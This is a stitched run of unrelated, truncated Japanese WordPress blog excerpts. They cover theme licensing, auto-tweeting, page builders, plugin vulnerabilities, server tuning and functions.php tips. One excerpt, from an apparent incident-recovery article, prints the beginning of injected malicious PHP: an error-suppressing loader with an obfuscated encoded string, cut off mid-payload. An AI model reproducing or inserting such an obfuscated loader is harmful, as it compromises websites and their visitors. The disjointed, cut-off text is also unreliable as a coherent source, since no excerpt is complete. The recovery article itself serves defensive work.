
Cocoonテーマ事業の継続性を強化したかったSimplicityからCocoon公開中の現在まで、開発・運営は、僕(わいひら)がほぼワンオペで行なってきました。 ワンオペ開発ということはつまり、僕が重大な病気になったり、何かの拍子に死んでしまうなんてことがあれば、以降のサポートは一切行われなくなることを意味します。 もちろんできる限りそうなった時のためにも、Cocoonのライセンスは100%GPLとしていて、「続きを開発したい」という方が現れた場合は、誰でも自由に引き継いで開発できるライセンスにしておりました。 以前書いたライセンスを100%GPLとした理由はこちら。 前作のSimplicityに引き続き、今作Cocoonも100%GPLにしたかったのは、「誰でも自由に開発を引き継げるようにしておきたいから」です。 というのも、僕も人間なのでいつ何処で何があるか分かりません。 重い病気に
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さてさて、以前このブログでは記事を公開するとき、以下のツイッターでお知らせしていました。 【お知らせをしていたツイッター】 実は当時、あるサービスで自動投稿していたのですが、Twitterの仕様が変更になった影響で残念ながら利用できなくなってしまいました…。 そして、長らくTwitterとの連携はしてなかったのですが、せっかく記事を書くからには多くの人に読んでもらいたと思いこの度、再開することにしました。 そのため、wordpressのプラグインを試したのですが、なぜか上手くいかなかったので、もうこの際、自動ツイート機能を自前で作ることにしました。 そこで❗ 今回はプラグインなしでwordpressからTwitterに自動投稿する機能の作り方をご紹介します。 ぜひ皆さんのお役に立てると嬉しいです😊✨ 【追記:2023.9.20】 イーロン・マスクさんがTwitterをXに変更するなど大き
かつて昔、コードを学んだり、ウェブデザイナーでない限り自分のウェブサイトを作ることは、ほとんど不可能でした。 しかし2021年となったいま、WordPressとElementor(エレメンター)のようなドラッグ&ドロップを基本とした、直感的なWebページビルダーを使えば、誰でも簡単にウェブサイトを作れるようになりました。 この記事では、WordPressとElementorをつかってホームページを作成する方法を、順番を追ってご紹介します。 Elementorって何?特長は? Elementorは、WordPress向けドラッグ&ドロップのページエディタで、プロのような美しいホームページを簡単に、かつスピーディーに作ることができます。 特長としては、ドラッグ&ドロップによるデザインの追加や並び替え、編集をリアルタイムで行うことができる点。コードの知識不要で、誰でも簡単にハイクオリティなデザイ
「Yuzo Related Posts」など人気のWordPressプラグインを狙った攻撃活動が観測されているとしてセキュリティベンダが注意を呼び掛けており、また国内でも関連が疑われる被害報告が上がっています。ここでは関連する情報をまとめます。 3月以降脆弱性が確認されたプラグイン 2019年3月以降、脆弱性の悪用が報告されたプラグインは次のもの。 No 報告日 対象のプラグイン インストール数 バージョン 脆弱性 1 2019/03/15 Easy WP SMTP 40万件超 1.3.9以前 管理者への特権昇格 2 2019/03/21 Social Warfare 6万件超 3.5.2以前 XSS(格納型)、任意コードの実行 3 2019/03/30 Yuzo Related Posts 6万件超 5.12.91以前 XSS(格納型) 4 2019/04/09 Visual CSS S
WordPress のテーマやプラグインをダウンロードしたり、WordBench や WordCamp などのイベントに参加したりするとたびたび言及される 100% GPL という言葉があります。WordPress 以外では聞かない言葉だと思うのでざっくり要点だけ。 GPL ライセンス オープンソースソフトウェアで採用されるライセンスのひとつです。使用許諾条件などと訳されたりします。ソフトウェアを使う上で守るべき約束事です。 4/19追記:「利用許諾条件などと訳します。使用許諾条件と違い、ソフトウェアを利用(再頒布)する際の許諾条件です。」とのことです。 100% GPLライセンスについて https://t.co/Lvxz4Vz3uB @Toro_Unitさんから 「使用許諾条件などと訳されたりします。ソフトウェアを使う上で守るべき約束事です。」 →利用許諾条件などと訳します。使用許諾条
宇佐美典也のブログ 宇佐美典也(うさみのりや)です。1981年、東京都生まれ➡暁星高校➡東京大学経済学部➡経済産業省➡ブロガー・ニート➡再生可能エネルギー業界の端っこ(今ココ)なにかあればinfo@unyconsulting.comまでご連絡を。 お問い合わせ プライバシーポリシー 個人情報保護方針 去る2015年9月19日、サーバーを借りているlolipopから通知が有りまして3年間程運営していたブログがウイルス感染のためあっけなく閉鎖することになりました。 9月15日頃にいわゆるボットが発動したものと思われ、私が借りていたサーバーから大量にSPAMメールが撒かれていたようです。以下9/15から9/16にかけてlolipopから通知があった撒かれたスパムメールの件数です。 (9/15 ) 21:39 ➡ 314通 22:12 ➡ 335通 23:09 ➡ 306通 (9/16) 0:18
WordBench Nagoya 11月勉強会の最後にアンカンファレンス(班別質問タイム的な感じの)をやった時、「Kさんが毎回必ず入れるプラグインを教えてほしい」という質問をいただいたのですが、残念ながらタイムアップとなったため、ブログにまとめることとなりました。 前提として サイトの用途によって必要なプラグインも変わってきますが、スタンスとしては クライアントワークで、企業サイトを作るというケースを想定 公式ディレクトリ登録プラグイン なるべく高機能ではない(負担の低そうな)もの 迷った時は国産(知人作) という感じです。 基本的なWordPress関数で済むような処理は原則として自分で書きますので、なるべくコードを書かずに表示をいじったり機能を追加したい、という方向けではないと思います。 ですので、よくある「使えるプラグイン○個まとめ」的なエントリーとはまた違ったプラグイン選定になって
改ざんされてウィルス配布コード埋めこまれてから復旧までの作業や申請の手続きについてまとめていきます。 追記: 「改ざんされた場合そのものの対処方法」という意味で書かせて頂きました。phpMyAdmin の脆弱性についてではなく全般的な内容となっております。誤解を与える表現となってしまい申し訳御座いません。 今回埋めこまれた不正なコード 実際のコードは改行やスペースがなくなって一行のコードとなっておりますので非常に気づきにくいです。 <?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) { $eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn
昨日初めて知ったんですが、今まで知らずに損してた、みたいな気持ちになったので、同じ思いをする人が一人でも減るようにと思ってご紹介。ソフトを解凍するだけで、WordPressのローカル環境を構築できる、というソフトウェア。USBで持ち運びも可能。 今まで知らずに損してましたwこれ、有名なのかな・・・ Instant WordPressをUSBメモリやポータブルHDDなどにダウンロードして、自動セットアップするだけで、WordPressをローカル環境を構築、その環境ごとUSBフラッシュメモリで持ち運びも出来てしまいます。構築まで5分くらいで出来ましたよ。これは便利だなーって思いました。 WordPressを環境ごと持ち運び出来ます。覚えておくとかなり役に立つ気がします。 出先でクライアントさんと打ち合わせ中にWebに繋げなくても直接見せて動作確認することも出来るし、自宅のデスクトップでいつも作
商用利用も無料、Responsive Web Designに対応したWordPressのテーマファイルを紹介します。 ボタン、タブ、パネルなどのページでよく使用するエレメントをはじめ、さまざまなカラムも簡単にショートコードで利用できます。 デモページを幅600pxで表示 Skeletonの主な特徴 Formalizeを使用して各ブラウザ間のエレメントの相違に対応。 Skeletonを使用してMedia Queriesを使った可変カラムに対応。 Option Frameworkを使用してテーマオプションのカスタマイズが可能。 bbPressのフォーラムスキンをインクルード。 見出しや本文などバランスの取れたタイポグラフィ。 デモ:Typography and Elements スマートフォン用のマルチレベルのメニューをサポート。 テーマオプションパネルからフォントや背景画像を設定可能。 タブ
負荷的に厳しくなってきたので sakuratan.biz を Apache(さくらスタンダード)から nginx(さくら VPS 512)に移転しました。 頻発していた 503 もほとんど出なくなって快適です。 Apache から VPS の nginx へ WordPress を移転したいと考えている人もいるかなーと思いましたので、さくら VPS で nginx リバースプロクシを使った WordPress ブログの構築する方法をがっつり書いていきたいと思います。 結構長文になってしまいましたので、先に索引を載せときます。 nginx とは nginx が速い理由 リバースプロクシ さくら VPS にインストールするシステム構成 EPEL パッケージリポジトリのインストール MySQL のインストール PHP のインストール nginx のインストール nginx と PHP FastC
WordPress で主に Twitter の OAuth を使ったり、データベースに会員情報を持っておく方法を紹介します。すべて説明していると返って分かりにくくなりますので、ポイントを押さえて説明していきますので読んでみてください。今回メインで参考にさせて頂いた記事は以下です。 PHPでTwitter APIのOAuthを使う方法まとめ – 頭ん中 WordPress のデータベースにメンバーテーブルを作成 id を WordPress 側で使い、user_id は Twitter の user_id です。user_name は Twitter での screen_name です。access_token_key と access_token_secret を保存しておけばサイト側からツイートなどを行うこともできます。 CREATE TABLE IF NOT EXISTS `wp_me
[追記1] 最後で説明しているproxy cacheの設定を修正しました。 [追記2] nginx proxy cacheでキャッシュしない場合の処理を変更しました。 [追記3] スマートフォンや携帯で閲覧した時にキャッシュしない設定を追加しました。 はじめに 大げさな題名ですが、今回はWordPress単体を速くするのではなく、データベースやWebサーバなどの調整、またnginxのproxy cache機能を使って速くする話になります。 サイトの構成によっては、proxy cacheは使えないかもしれませんが、使わなくても5倍程度速くすることはできましたので、参考にしていただければと思います。 今回行うチューニング一覧 DBを最適化するプラグインを導入する APCを導入してPHPを速くする MySQLを速くする 重いWordPressプラグインを外す nginx+FastCGIにする W
WordPress の便利なオプションファイル functions.php。 これに数行追加するだけで、本当にいろんなことができちゃいます。今回は、functions.php に書いておくといいかもしれないコードをいくつかまとめてみました。 WordPress のテーマの中で利用する functions.php。このファイルがかなり便利で、私はいろいろと functions.php に書き込んでいます。よくプラグインとかウィジットを使えばいいじゃないかーとも言われたりしますが、プラグインは厳選して重要なものだけを使って functions.php でできるものは、できるだけそうしたいなーと思っています。 プラグインが増えればその分ファイルの読み込みが多くなって、少なからず速度も落ちるかな … とか、プラグインの管理ページがごちゃごちゃするのがイヤだーとか、そんな程度の理由なんですけど …。
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